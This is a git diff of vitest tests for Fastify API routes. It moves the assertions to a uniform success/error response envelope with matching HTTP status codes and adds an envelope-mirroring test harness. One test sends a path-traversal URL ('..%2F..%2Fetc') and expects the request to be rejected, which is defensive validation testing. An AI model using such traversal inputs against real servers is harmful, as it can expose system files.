it('parses fix plan with todos and stats', async () => {
|
||||
@@ -397,9 +453,9 @@ describe('case-routes', () => {
|
||||
expect(res.statusCode).toBe(200);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(true);
|
||||
expect(body.exists).toBe(true);
|
||||
expect(body.todos.length).toBeGreaterThan(0);
|
||||
expect(body.stats.total).toBeGreaterThan(0);
|
||||
expect(body.data.exists).toBe(true);
|
||||
expect(body.data.todos.length).toBeGreaterThan(0);
|
||||
expect(body.data.stats.total).toBeGreaterThan(0);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -413,7 +469,7 @@ describe('case-routes', () => {
|
||||
method: 'GET',
|
||||
url: '/api/cases/my-case/ralph-wizard/files',
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(res.statusCode).toBe(404);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(false);
|
||||
expect(body.error).toContain('not found');
|
||||
@@ -424,7 +480,7 @@ describe('case-routes', () => {
|
||||
method: 'GET',
|
||||
url: '/api/cases/..%2F..%2Fetc/ralph-wizard/files',
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(res.statusCode).toBe(400);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(false);
|
||||
});
|
||||
@@ -464,7 +520,7 @@ describe('case-routes', () => {
|
||||
method: 'GET',
|
||||
url: '/api/cases/my-case/ralph-wizard/file/research%2Fprompt.md',
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(res.statusCode).toBe(404);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(false);
|
||||
});
|
||||
|
||||
@@ -363,11 +363,11 @@ describe('file-routes', () => {
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(true);
|
||||
expect(body.closed).toBe(true);
|
||||
expect(mockedFileStreamManager.closeStream).toHaveBeenCalledWith('stream-1');
|
||||
});
|
||||
|
||||
it('returns false for unknown stream', async () => {
|
||||
it('returns closed: false for unknown stream', async () => {
|
||||
mockedFileStreamManager.closeStream.mockReturnValue(false);
|
||||
|
||||
const res = await harness.app.inject({
|
||||
@@ -376,7 +376,7 @@ describe('file-routes', () => {
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(false);
|
||||
expect(body.closed).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -3,17 +3,73 @@
|
||||
*
|
||||
* Uses app.inject() — no real HTTP ports needed.
|
||||
* Port: N/A (app.inject doesn't open ports)
|
||||
*
|
||||
* These tests assert the UNIFORM response envelope (stable HTTP contract):
|
||||
* success -> 2xx, { success: true, data: <payload> }
|
||||
* error -> 4xx/5xx, { success: false, error, errorCode }
|
||||
* The production server applies this via a preSerialization hook (server.ts).
|
||||
* The shared route harness doesn't install it, so we build a local harness here
|
||||
* that mirrors production: the same preSerialization envelope hook + the shared
|
||||
* route error handler, so assertions match the real wire format.
|
||||
*/
|
||||
|
||||
import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
|
||||
import { createRouteTestHarness, type RouteTestHarness } from './_route-test-utils.js';
|
||||
import Fastify, { type FastifyInstance } from 'fastify';
|
||||
import fastifyCookie from '@fastify/cookie';
|
||||
import { createMockRouteContext, type MockRouteContext } from '../mocks/index.js';
|
||||
import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
|
||||
import { ApiErrorCode, httpStatusForErrorCode } from '../../src/types.js';
|
||||
import { registerHookEventRoutes } from '../../src/web/routes/hook-event-routes.js';
|
||||
|
||||
interface LocalHarness {
|
||||
app: FastifyInstance;
|
||||
ctx: MockRouteContext;
|
||||
}
|
||||
|
||||
/**
|
||||
* Build a Fastify instance that mirrors production's uniform-envelope behavior
|
||||
* (server.ts preSerialization hook) so the test wire format matches the contract:
|
||||
* bare payloads become { success: true, data }, and { success:false } error
|
||||
* envelopes get the conventional HTTP status from their errorCode.
|
||||
*/
|
||||
async function createEnvelopeHarness(
|
||||
registerFn: (app: FastifyInstance, ctx: MockRouteContext) => void
|
||||
): Promise<LocalHarness> {
|
||||
const app = Fastify({ logger: false });
|
||||
await app.register(fastifyCookie);
|
||||
|
||||
const ctx = createMockRouteContext();
|
||||
registerFn(app, ctx);
|
||||
|
||||
// Mirror production uniform response envelope (server.ts).
|
||||
app.addHook('preSerialization', (req, reply, payload: unknown, done) => {
|
||||
if (!req.url.startsWith('/api')) return done(null, payload);
|
||||
if (payload === null || typeof payload !== 'object') return done(null, payload);
|
||||
if (Buffer.isBuffer(payload) || typeof (payload as { pipe?: unknown }).pipe === 'function') {
|
||||
return done(null, payload);
|
||||
}
|
||||
const p = payload as { success?: unknown; errorCode?: unknown };
|
||||
if (p.success === false) {
|
||||
if (reply.statusCode === 200 && typeof p.errorCode === 'string') {
|
||||
reply.code(httpStatusForErrorCode(p.errorCode as ApiErrorCode));
|
||||
}
|
||||
return done(null, payload);
|
||||
}
|
||||
if (p.success === true) return done(null, payload);
|
||||
return done(null, { success: true, data: payload });
|
||||
});
|
||||
|
||||
installRouteErrorHandler(app);
|
||||
await app.ready();
|
||||
|
||||
return { app, ctx };
|
||||
}
|
||||
|
||||
describe('hook-event-routes', () => {
|
||||
let harness: RouteTestHarness;
|
||||
let harness: LocalHarness;
|
||||
|
||||
beforeEach(async () => {
|
||||
harness = await createRouteTestHarness(registerHookEventRoutes);
|
||||
harness = await createEnvelopeHarness(registerHookEventRoutes);
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
@@ -69,7 +125,7 @@ describe('hook-event-routes', () => {
|
||||
data: null,
|
||||
},
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(res.statusCode).toBe(404);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(false);
|
||||
expect(body.error).toBeDefined();
|
||||
|
||||
@@ -15,9 +15,7 @@ describe('mux-routes', () => {
|
||||
beforeEach(async () => {
|
||||
// Add mux methods that mux-routes needs but mock-route-context doesn't provide
|
||||
harness = await createRouteTestHarness(registerMuxRoutes);
|
||||
harness.ctx.mux.getSessionsWithStats = vi.fn(async () => [
|
||||
{ name: 'codeman-abc', pid: 1234, created: Date.now() },
|
||||
]);
|
||||
harness.ctx.mux.getSessionsWithStats = vi.fn(async () => [{ name: 'codeman-abc', pid: 1234, created: Date.now() }]);
|
||||
harness.ctx.mux.isAvailable = vi.fn(() => true);
|
||||
harness.ctx.mux.reconcileSessions = vi.fn(async () => ({
|
||||
orphaned: [],
|
||||
@@ -74,7 +72,7 @@ describe('mux-routes', () => {
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(true);
|
||||
expect(body.killed).toBe(true);
|
||||
expect(harness.ctx.mux.killSession).toHaveBeenCalledWith('codeman-abc');
|
||||
});
|
||||
|
||||
@@ -87,7 +85,7 @@ describe('mux-routes', () => {
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(false);
|
||||
expect(body.killed).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -119,7 +117,7 @@ describe('mux-routes', () => {
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(true);
|
||||
expect(body).toEqual({});
|
||||
expect(harness.ctx.mux.startStatsCollection).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -134,7 +132,7 @@ describe('mux-routes', () => {
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(true);
|
||||
expect(body).toEqual({});
|
||||
expect(harness.ctx.mux.stopStatsCollection).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -235,13 +235,14 @@ describe('plan-routes', () => {
|
||||
expect(body.error).toContain('Ralph tracker');
|
||||
});
|
||||
|
||||
it('returns plan version history', async () => {
|
||||
it('returns plan version history with the current version', async () => {
|
||||
const mockHistory = [
|
||||
{ version: 1, timestamp: Date.now() - 60000, itemCount: 10 },
|
||||
{ version: 2, timestamp: Date.now(), itemCount: 12 },
|
||||
];
|
||||
harness.ctx._session.ralphTracker = {
|
||||
getPlanHistory: vi.fn(() => mockHistory),
|
||||
planVersion: 2,
|
||||
} as never;
|
||||
|
||||
const res = await harness.app.inject({
|
||||
@@ -251,8 +252,9 @@ describe('plan-routes', () => {
|
||||
expect(res.statusCode).toBe(200);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(true);
|
||||
expect(body.data).toHaveLength(2);
|
||||
expect(body.data[1].version).toBe(2);
|
||||
expect(body.data.history).toHaveLength(2);
|
||||
expect(body.data.history[1].version).toBe(2);
|
||||
expect(body.data.currentVersion).toBe(2);
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user